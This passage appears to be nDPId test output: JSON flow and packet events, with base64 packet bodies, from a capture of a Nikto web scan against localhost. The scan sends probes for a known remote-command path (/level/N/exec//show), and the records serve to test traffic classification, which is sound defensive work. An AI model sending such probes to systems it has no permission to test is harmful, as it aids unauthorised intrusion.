(Nikto\/2.1.6) (Evasions:None) (Test:001284)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":586,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":586,"flow_packet_id":1,"flow_first_seen":1576420277616,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50734,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":586,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":616842,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADImrpAAEAGoXN\/AAABfwAAAcYuH5CDY6JF2zT1KYAYAED+vAAAAQEICp1m\/pidZv6YR0VUIC9sZXZlbC8zOC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODUpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":586,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":586,"flow_packet_id":1,"flow_first_seen":1576420277616,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50734,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/38\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001285)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":587,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":587,"flow_packet_id":1,"flow_first_seen":1576420277618,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50736,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":587,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":618199,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIUbFAAEAG6nx\/AAABfwAAAcYwH5C3PmlUu95eg4AYAED+vAAAAQEICp1m\/pqdZv6aR0VUIC9sZXZlbC8zOS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODYpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":587,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":587,"flow_packet_id":1,"flow_first_seen":1576420277618,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50736,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/39\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001286)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":588,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":588,"flow_packet_id":1,"flow_first_seen":1576420277619,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50738,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":588,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":619471,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI5L9AAEAGV25\/AAABfwAAAcYyH5D7t9xCdJSM64AYAED+vAAAAQEICp1m\/pudZv6bR0VUIC9sZXZlbC80MC9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjg3KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":588,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":588,"flow_packet_id":1,"flow_first_seen":1576420277619,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50738,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/40\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001287)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":589,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":589,"flow_packet_id":1,"flow_first_seen":1576420277622,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50740,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":589,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":622367,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIjX9AAEAGrq5\/AAABfwAAAcY0H5DiALWBzWdeg4AYAED+vAAAAQEICp1m\/p6dZv6eR0VUIC9sZXZlbC80MS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODgpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":589,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":589,"flow_packet_id":1,"flow_first_seen":1576420277622,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50740,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/41\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001288)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":590,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":590,"flow_packet_id":1,"flow_first_seen":1576420277624,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50742,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":590,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":624054,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIagJAAEAG0it\/AAABfwAAAcY2H5Bh+1L\/IgWJKIAYAED+vAAAAQEICp1m\/p+dZv6fR0VUIC9sZXZlbC80Mi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":590,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":590,"flow_packet_id":1,"flow_first_seen":1576420277624,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50742,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/42\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001289)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":591,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":591,"flow_packet_id":1,"flow_first_seen":1576420277625,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50744,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":591,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":625580,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI3axAAEAGXoF\/AAABfwAAAcY4H5AuBeVV4Hsa\/oAYAED+vAAAAQEICp1m\/qGdZv6hR0VUIC9sZXZlbC80My9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyOTApDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":591,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":591,"flow_packet_id":1,"flow_first_seen":1576420277625,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50744,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/43\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001290)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":592,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":592,"flow_packet_id":1,"flow_first_seen":1576420277627,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50746,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":592,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":627124,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIYLhAAEAG23V\/AAABfwAAAcY6H5DQG1hJOevWU4AYAED+vAAAAQEICp1m\/qOdZv6iR0VUIC9sZXZlbC80NC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyOTEpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":592,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":592,"flow_packet_id":1,"flow_first_seen":1576420277627,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50746,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/44\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001291)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":593,"flow_packet_id":1,"flow_first_seen":1576420277628,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50748,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":593,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":628648,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADID1ZAAEAGLNh\/AAABfwAAAcY8H5AV\/jesxRnzeoAYAED+vAAAAQEICp1m\/qSdZv6kR0VUIC9sZXZlbC80NS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjkyKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":593,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":593,"flow_packet_id":1,"flow_first_seen":1576420277628,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50748,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/45\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001292)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":594,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":594,"flow_packet_id":1,"flow_first_seen":1576420277630,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50750,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":594,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":630023,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI0WBAAEAGas1\/AAABfwAAAcY+H5DCTOmi+t3hCIAYAED+vAAAAQEICp1m\/qWdZv6lR0VUIC9sZXZlbC80Ni9leGVjLy9zaG93IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjkzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":594,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":594,"flow_packet_id":1,"flow_first_seen":1576420277630,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50750,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/46\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001293)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":595,"flow_packet_id":1,"flow_first_seen":1576420277631,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50752,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":595,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":631346,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIlpVAAEAGpZh\/AAABfwAAAcZAH5Cryq5teKvsJoAYAED+vAAAAQEICp1m\/qedZv6nR0VUIC9sZXZlbC80Ny9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyOTQpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":595,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":595,"flow_packet_id":1,"flow_first_seen":1576420277631,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50752,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/47\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001294)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":596,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":596,"flow_packet_id":1,"flow_first_seen":1576420277633,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50754,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":596,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":633228,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIENVAAEAGK1l\/AAABfwAAAcZCH5APvynUeLRgIoAYAED+vAAAAQEICp1m\/qmdZv6oR0VUIC9sZXZlbC80OC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjk1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":596,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":596,"flow_packet_id":1,"flow_first_seen":1576420277633,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50754,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/48\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001295)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":597,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":597,"flow_packet_id":1,"flow_first_seen":1576420277637,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50756,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":597,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":637363,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIJlxAAEAGFdJ\/AAABfwAAAcZEH5CFHB9c3vOX2IAYAED+vAAAAQEICp1m\/q2dZv6tR0VUIC9sZXZlbC80OS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyOTYpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":597,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":597,"flow_packet_id":1,"flow_first_seen":1576420277637,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50756,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/49\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001296)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":598,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":598,"flow_packet_id":1,"flow_first_seen":1576420277639,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50758,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":598,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":639674,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIZI9AAEAG155\/AAABfwAAAcZGH5DAl12NotXkTIAYAED+vAAAAQEICp1m\/q+dZv6vR0VUIC9sZXZlbC81MC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyOTcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} 